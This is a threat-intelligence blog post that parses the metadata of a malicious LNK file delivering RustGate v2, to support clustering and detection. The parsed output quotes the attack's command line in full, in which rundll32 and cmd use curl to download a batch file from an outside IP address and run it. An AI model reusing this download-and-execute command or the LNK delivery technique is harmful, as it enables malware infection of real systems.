I ran across this Ctrl-Alt-Intel blog post today, which discusses RustGate v2, and noticed that for all of what was addressed in the blog, there wasn't a great deal of content regarding the delivery method, the LNK file itself. Figure 1 illustrates what the blog states regarding LNK file metadata, beyond the embedded command line.
Okay, but what else can we see from the LNK structure itself? What other IOCs or intelligence can we derive from the file?
guid {00021401-0000-0000-c000-000000000046}
mtime Tue Dec 2 04:34:13 2025 Z
atime Fri Jan 9 09:03:22 2026 Z
ctime Tue Dec 2 04:34:13 2025 Z
workingdir C:\Windows\Temp
basepath C:\Windows\System32\rundll32.exe
shitemidlist My Computer/C:\/Windows/System32/rundll32.exe
**Shell Items Details (times in UTC)**
C:2024-04-01 07:21:18 M:2026-01-05 04:18:54 A:2026-01-09 08:27:14 Windows (9) [3515/1]
C:2024-04-01 07:21:18 M:2026-01-07 04:34:52 A:2026-01-09 08:36:44 System32 (9) [5285/1]
C:2025-12-02 04:34:14 M:2025-12-02 04:34:14 A:2026-01-09 08:12:16 rundll32.exe (9)
vol_sn 12D9-A76E
vol_type Fixed Disk
commandline shell32.dll,ShellExec_RunDLL "cmd.exe" "start /min /c curl -o C:\Windows\Temp\test.bat 5.252.177.210:8090/test.bat && start /b C:\Windows\Temp\test.bat
iconfilename C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
hotkey 0x0
showcmd 0x7
***LinkFlags***
HasLinkTargetIDList|IsUnicode|HasWorkingDir|HasExpIcon|HasLinkInfo|HasArguments|EnableTargetMetadata|HasIconLocation
***PropertyStoreDataBlock***
GUID/ID pairs:
{28636aa6-953d-11d2-b5d6-00c04fd918d0}/30 ParsingPath: C:\Users\Public\Pictures
{446d16b1-8dad-4870-a748-402ea43d788c}/104 VolumeID: {c9e64587-f01c-409d-92c3-497067a5e2ef}
{46588ae2-4cbc-4338-bbfc-139326986dce}/4 SID: S-1-5-21-2202213833-2675363039-2741304641-1002
{b725f130-47ef-101a-a5f1-02608c9eebac}/10 ItemNameDisplay: Public Pictures
{b725f130-47ef-101a-a5f1-02608c9eebac}/14 DateModified: Thu Jan 1 10:55:10 2026 Z
{b725f130-47ef-101a-a5f1-02608c9eebac}/15 DateCreated : Mon Apr 1 07:26:08 2024 Z
{b725f130-47ef-101a-a5f1-02608c9eebac}/4 ItemType: File folder
{dabd30ed-0043-4789-a7f8-d013a4736622}/100 ItemFolderPathDisplay: Public (C:\Users)
***KnownFolderDataBlock***
GUID : {1ac14e77-02e7-4e5d-b744-2eb1ae5198b7}
Folder: CSIDL_SYSTEM
***TrackerDataBlock***
Machine ID : server
New Droid ID Time : Thu Jan 8 04:39:44 2026 UTC
New Droid ID Seq Num : 8270
New Droid Node ID : 00:50:56:c0:00:08
Birth Droid ID Time : Thu Jan 8 04:39:44 2026 UTC
Birth Droid ID Seq Num: 8270
Birth Droid Node ID : 00:50:56:c0:00:08
As stated in the blog, we can see the Machine ID value, the MAC address, the folder path, and the embedded command line. But there's more available than just those metadata values.
On 5 Dec 2016, JPCERT/CC published a blog post that describes how LNK metadata can provide insight into a threat actor's development environment, and showed what clustering might look like.
In Nov 2018, then-Mandiant analysts shared insight into Cozy Bear/APT29 phishing campaigns, and in figures 5 & 6, showed how they analyzed LNK metadata between two different campaigns to develop insight into threat actor activity. Tracking multiple LNK files and linking them via identical metadata allows us to do the same, and doing so allows us to develop the same, and additional, insights.
Looking at the above output, we see multiple data blocks, something that can provide insight into how the LNK file was created. Different tools/methods for creating LNK files provide different metadata content within the LNK file. We also see that all of the metadata is full, completely populated; none of the values are zero'd out. This indicates that the threat actor didn't use a method to create or modify the LNK to remove these values.
It's pretty clear that LNK files are still widely used as a delivery mechanism; however, threat intel analysts do not appear to be widely tracking them, listing command lines and maybe a file hash in their reports, but little else. Anything a threat actor sends you or makes available is "free money" when it comes to tracking or developing detection opportunities, and we should be taking full advantage of that.
Thanks to @Ctrl-Alt-Intel for providing a copy of the LNK file for parsing.
Read the original article: